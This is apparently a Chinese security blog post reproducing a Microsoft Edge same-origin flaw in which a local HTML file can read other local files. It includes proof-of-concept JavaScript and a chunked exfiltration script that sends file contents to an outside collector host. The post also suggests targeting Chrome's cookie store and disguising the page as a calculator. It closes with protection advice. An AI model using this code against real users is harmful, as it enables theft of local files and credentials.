MicrosoftEdge同源策略不嚴導致任意檔案讀取測試
漏洞介紹
近期看到文章介紹,稱Microsoft Edge對SOP同源策略處理存在問題,可導致任意檔案洩露。
SOP同源策略是比較常見的,簡單來說,在訪問A域名時,如果B域名站點存在JS動作通過XHR請求了A域名網站下資源,該動作會被同源策略拒絕,因為它們非同源。
同源的判定標準是一個三元組,任意一個不同則判定不同源:協議、主機名、埠號
在瀏覽器中,可以使用file://協議來讀取檔案,攻擊者如果想要讀取到訪問者的本地檔案,由於http和file協議不同,不同源的情況下並不能做到。
但是這個限制在特定場景下就不存在了,如果惡意頁面是儲存在本地的檔案,通過瀏覽器開啟html檔案,URL中協議就是file://
,此時如果頁面中存在XHR請求file://
協議,該請求是符合同源要求的,可能導致本地檔案讀取。
復現測試
0x01 準備工作
嘗試讀取的本地檔案:
poc程式碼:
<html>
<head>
</head>
<body>
<div id="result"></div>
</body>
<script>
let resultDiv = document.getElementById("result");
let xhr= new XMLHttpRequest();
xhr.open("GET","file://F:/AppServ/www/ctf/edge/edge.txt");
xhr.onreadystatechange= ()=> {
if(xhr.readyState==4) {
resultDiv.innerText = xhr.responseText;
}
}
xhr.send();
</script>
</html>
0x02 非Microsoft Edge瀏覽器測試
Chrome瀏覽器:提示同源策略請求只支援http,data,chrome,chrome-extension,https協議
fireforx瀏覽器:提示同源策略進位制讀取,CORS只能是http協議
ie11瀏覽器:提示拒絕訪問
0x03 Microsoft Edge瀏覽器測試
看到的文章中測試版本是Microsoft Edge 40.15063.0.0
,這裡測試使用的是比它更新的版本:
測試結果是:沒有觸發錯誤攔截資訊,能夠直接獲取到本地檔案內容:
相關擴充
0x01 任意資料外帶
在測試中是僅僅對一個txt檔案內容進行了讀取,並將內容展示在頁面中。
還可以讀取其他瀏覽器儲存的一些cookie資訊,如:
Chrome的cookie資訊一般在
C:/Users/${user}/AppData/Local/Google/Chrome/User Data/Default/Cookies
攻擊者如果想要通過惡意頁面,將本地的資料帶出,也是輕而易舉的。比如,可以在js中建立img標籤,發起http請求攻擊者的伺服器,並且攜帶讀取到的檔案內容。
如果檔案內容過長,get請求的URL會超長,還能對檔案內容進行分割、間隔多次傳輸;
如果檔案內容不僅是文字文字,或是圖片等,還能通過各種編碼進行包裝傳輸(如encodeURI):
let resultDiv = document.getElementById("result");
let data = "";
let xhr= new XMLHttpRequest();
let limit = 1024
xhr.open("GET","file://F:/AppServ/www/ctf/edge/edge.txt");
xhr.onreadystatechange= function () {
if(xhr.readyState==4) {
resultDiv.innerText = xhr.responseText;
url = "http://XXXXX.ceye.io/data/?data=";
// data = window.btoa(xhr.responseText);
data = encodeURI(xhr.responseText);
console.log(data.length)
let st=setInterval(function(){
img = document.createElement("img");
if (data.length <= limit) {
if (data.length == 0) {
clearInterval(st)
}else {
img.src = url + data;
resultDiv.appendChild(img);
clearInterval(st)
console.log("A:"+data.length)
}
} else {
temp = data.substr(0, limit);
data = data.substr(limit,data.length-1);
img.src = url + temp;
resultDiv.appendChild(img);
console.log("B:"+temp.length)
}
},1000)
}
}
xhr.send();
攻擊者接收的資料段之一:
0x02 隱藏偽裝
造成任意檔案內容洩露的JS程式碼本體並不大,可以隱藏在其他正常的下載頁面中,在使用者疏於防範的情況下隱蔽地執行;
結合社會工程等手段,可以更輕易地進行攻擊利用。
例如,當下載一個用於學習html的網頁,作者建議使用Microsoft Edge進行開啟,你很可能會聽從作者建議就執行檢視效果
當頁面功能顯示正常,是一個計算器的網頁,警惕心就沒有了。
當你可能還沉浸在玩耍它的計算功能和學習原始碼的過程中時,攻擊者想要的你本地檔案內容可能已經被偷偷傳走了
防護建議
1、不要隨意開啟不能確定是否存在危害的檔案,包括html檔案(先看一遍原始碼)
2、使用解決了該問題的更新版本的Microsoft Edge
3、使用Chrome或者Firefox等瀏覽器
相關文章
- 任意檔案讀取
- 用友任意檔案讀取
- Mysql溯源-任意檔案讀取?MySql
- 致遠AnalyticsCloud分析雲任意檔案讀取漏洞復現Cloud
- Vmware Vcenter 任意檔案讀取漏洞
- 新型任意檔案讀取漏洞的研究
- 宏景HCM 任意檔案讀取漏洞
- 宏景HCM DisplayFiles任意檔案讀取
- 藍凌OA前臺任意檔案讀取漏洞利用
- JEEVMS倉庫管理系統任意檔案讀取漏洞
- 同源策略
- 【自動化測試】Python 讀取 .ini 格式檔案Python
- 再也不學AJAX了!(三)跨域獲取資源 ① - 同源策略跨域
- Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)
- 任意檔案讀取與下載的原理及修復
- CSS-T | Mysql Client 任意檔案讀取攻擊鏈擴充CSSMySqlclient
- 同源策略詳解
- JavaScript的同源策略JavaScript
- 介面自動化測試:引數化封裝(excel檔案讀取)封裝Excel
- 用 ABAP 讀取本地文字檔案內容試讀版
- Grafana 任意檔案讀取漏洞 (CVE-2021-43798)學習Grafana
- 同源策略和跨域跨域
- Java 讀取檔案Java
- tiff檔案讀取
- 如何在不會導致伺服器當機的情況下,用 PHP 讀取大檔案伺服器PHP
- 同源策略及其解決方案
- javascript 同源策略及web安全JavaScriptWeb
- 瀏覽器的同源策略瀏覽器
- python讀取檔案——python讀取和儲存mat檔案Python
- viper 讀取配置檔案
- go配置檔案讀取Go
- iOS讀取.csv檔案iOS
- php 讀取超大檔案PHP
- JAVA 讀取xml檔案JavaXML
- WinForm讀取Excel檔案ORMExcel
- java讀取properties檔案Java
- 前端讀取excel檔案前端Excel
- IOC - 讀取配置檔案